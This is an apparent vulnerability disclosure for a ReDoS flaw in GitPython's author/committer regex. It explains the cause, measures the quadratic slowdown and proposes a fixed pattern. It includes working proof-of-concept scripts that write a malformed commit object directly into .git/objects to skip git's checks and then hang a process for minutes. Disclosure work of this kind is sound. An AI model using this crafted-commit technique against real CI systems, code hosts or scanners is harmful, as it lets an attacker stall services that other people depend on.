GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer field parsing

Summary

GitPython's Actor.name_email_regex regular expression (git/util.py, line 863) is vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of Service). When GitPython parses the author or committer header of a git commit object that contains a long string with an unterminated < (no matching >), the Python regex engine enters quadratic backtracking, causing complete single-threaded CPU exhaustion proportional to the square of the input length.

A single crafted commit object can block any GitPython API call that reads .author or .committer for over two minutes per invocation, enabling denial of service against CI runners, code-hosting backends, repository-scanning pipelines, or any service that processes commits from third-party or untrusted repositories.

Details

Vulnerable file and line:

git/util.py, line 863:

name_email_regex = re.compile(r"(.*) <(.*?)>")

This regex is evaluated inside Actor._from_string() (line 909) every time GitPython resolves a commit's .author or .committer property.

Full call chain — from public API to vulnerable sink:

commit.author # any ordinary GitPython API call └── git/objects/commit.py:917 Commit._deserialize() └── git/objects/util.py:341 parse_actor_and_date(author_line) └── git/util.py:909 Actor._from_string(string) └── Actor.name_email_regex.search(string) ← VULNERABLE

author_line is decoded directly from the raw bytes of the git commit object with no length limit, character restriction, or timeout applied at any point before reaching the regex engine. The same chain is triggered by:

• commit.author
• commit.committer
• repo.iter_commits()
• repo.blame()
• Any web service / CI tool that displays or processes commit metadata

Why this pattern backtracks catastrophically:

The pattern (.*) <(.*?)> contains an unbounded greedy group (.*) followed by a literal space and <. When the input is a long string that contains < but no closing >, the regex engine must try every possible split position for the greedy group — O(n²) candidate positions for a string of length n — each of which then drives the inner lazy group into further sub-match attempts. This is the well-documented "catastrophic backtracking" failure mode for this family of patterns.

Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):

Each doubling of input size roughly quadruples processing time (e.g. 40,000 → 80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself imposes no practical size limit on author name fields in the object format.

How the malicious object reaches a victim:

The PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git loose object written directly into .git/objects/. git cat-file -t <sha> confirms it is a valid commit type and git's own read-side tools display it without error. Only git's write-side tooling (git commit --author, git update-index, explicit git fsck) applies the sanity checks that would reject a malformed author line. Delivery paths that bypass those checks include:

• A git server with receive.fsckObjects = false (common in self-hosted deployments)
• A .git directory shipped as a tarball, backup, or zip archive
• A git bundle file
• Any automated mirror or import tool that operates at the object level

PoC

Environment used for testing:

• GitPython 3.1.59, installed in editable mode from source (no code modifications)
• Python 3.12.3, git 2.43.0, Ubuntu 24.04

Script 1 — craft the malicious repository (craft_malicious_repo.py):

#!/usr/bin/env python3
"""
Creates a git repository with one commit whose 'author' field is a large
string containing an unterminated '<'. Bypasses git's write-side sanity
checks by writing the raw object directly into .git/objects/.

Usage: python3 craft_malicious_repo.py <target_dir> <payload_size_bytes>
"""
import hashlib, os, subprocess, sys, zlib

def run(cmd, cwd):
    return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True)

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <target_dir> <payload_size_bytes>")
        sys.exit(1)

    target_dir, payload_size = sys.argv[1], int(sys.argv[2])

    os.makedirs(target_dir, exist_ok=True)
    run(["git", "init", "--quiet"], cwd=target_dir)
    run(["git", "config", "user.email", "poc@example.com"], cwd=target_dir)
    run(["git", "config", "user.name", "PoC"], cwd=target_dir)

    with open(os.path.join(target_dir, "README.txt"), "w") as f:
        f.write("GitPython ReDoS PoC repository\n")
    run(["git", "add", "README.txt"], cwd=target_dir)
    tree_sha = run(["git", "write-tree"], cwd=target_dir).stdout.strip()

    malicious_name = "A" * payload_size
    # Key: author field contains a '<' with no closing '>'
    author_line    = f"author {malicious_name} <unterminated 1691999972 -0700"
    committer_line = "committer PoC <poc@example.com> 1691999972 -0700"
    message        = "ReDoS PoC commit"

    commit_content = (
        f"tree {tree_sha}\n{author_line}\n{committer_line}\n\n{message}\n"
    ).encode()

    header     = f"commit {len(commit_content)}\x00".encode()
    store      = header + commit_content
    sha        = hashlib.sha1(store).hexdigest()
    compressed = zlib.compress(store)

    objdir = os.path.join(target_dir, ".git", "objects", sha[:2])
    os.makedirs(objdir, exist_ok=True)
    with open(os.path.join(objdir, sha[2:]), "wb") as f:
        f.write(compressed)

    run(["git", "update-ref", "refs/heads/master", sha], cwd=target_dir)

    print(f"Malicious commit sha : {sha}")
    print(f"Payload size         : {payload_size} bytes")
    verify = subprocess.run(
        ["git", "cat-file", "-t", sha],
        cwd=target_dir, capture_output=True, text=True
    )
    print(f"git cat-file -t confirms: {verify.stdout.strip()}")

if __name__ == "__main__":
    main()

Script 2 — trigger the vulnerability (trigger_redos.py):

#!/usr/bin/env python3
"""
Opens the repository with GitPython and times commit.author access,
which triggers Actor._from_string() -> Actor.name_email_regex.search().

Usage: python3 trigger_redos.py <repo_dir> <commit_sha>
"""
import sys, time, git

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <repo_dir> <commit_sha>")
        sys.exit(1)

    repo   = git.Repo(sys.argv[1])
    commit = repo.commit(sys.argv[2])

    print("Accessing commit.author — triggers Actor._from_string()...")
    t0     = time.time()
    author = commit.author          # ← this single line causes the hang
    elapsed = time.time() - t0

    print(f"Author name length : {len(author.name)} chars")
    print(f"Elapsed            : {elapsed:.3f} seconds")
    print("RESULT: VULNERABLE" if elapsed > 5 else "RESULT: not triggered")

if __name__ == "__main__":
    main()

Execution and observed output:

$ python3 craft_malicious_repo.py /tmp/victim-repo 200000 Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de Payload size : 200000 bytes git cat-file -t confirms: commit

$ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de Accessing commit.author — triggers Actor._from_string()... Author name length : 200014 chars Elapsed : 150.488 seconds RESULT: VULNERABLE

Docker reproduction (fully isolated environment):

docker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash

# Inside the container:
apt-get update && apt-get install -y git
git clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython
pip install -e /work/GitPython

python3 /work/poc/craft_malicious_repo.py /work/victim-repo 200000
# note the SHA printed, then:
python3 /work/poc/trigger_redos.py /work/victim-repo <SHA>

The python:3.8-bookworm base image matches the one used in GitPython's own fuzzing/local-dev-helpers/Dockerfile.

Impact

Who is affected:

Any application that uses GitPython to parse commits from a source it does not fully control. High-risk deployments include:

• CI/CD systems (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.) that clone and inspect third-party pull requests — one malicious commit in a PR can stall every worker that processes it.
• Code-hosting or code-review web services that render commit author information — a single crafted push blocks every page render or API response that touches that commit's metadata.
• Security or compliance scanners that walk repository history across many repositories — one crafted object in any repository exhausts a scanner worker.

Severity of impact:

A 200 KB author field blocks a process for ~150 seconds per single .author access. When iter_commits() or blame are used, every commit in a history traversal can be independently crafted, multiplying the total hang time by the number of commits processed. There is no confidentiality or integrity impact — this is a pure availability / resource-exhaustion vulnerability.

Suggested Fix

Replace the vulnerable pattern with one that cannot backtrack catastrophically. The minimal, behavior-preserving fix is to exclude < and > from the name group, removing the ambiguity that forces O(n²) backtracking:

# git/util.py, line 863
# Before (vulnerable):
name_email_regex = re.compile(r"(.*) <(.*?)>")

# After (fixed — identical output for all well-formed input):
name_email_regex = re.compile(r"([^<>]*) <([^<>]*)>")

Because the name group can no longer itself contain a < character, the engine has exactly one candidate position to try when a closing > is absent — and fails in O(n) time instead of O(n²). Legitimate actor strings (Name <email>) never contain < or > in either field, so this change produces identical results for all valid input.

As defense in depth, independently of the regex fix, bounding the maximum number of characters GitPython will attempt to parse in an author/committer line (e.g. rejecting strings longer than 4096 bytes before passing them to any regex) would further limit the blast radius of any future ReDoS class in this parser.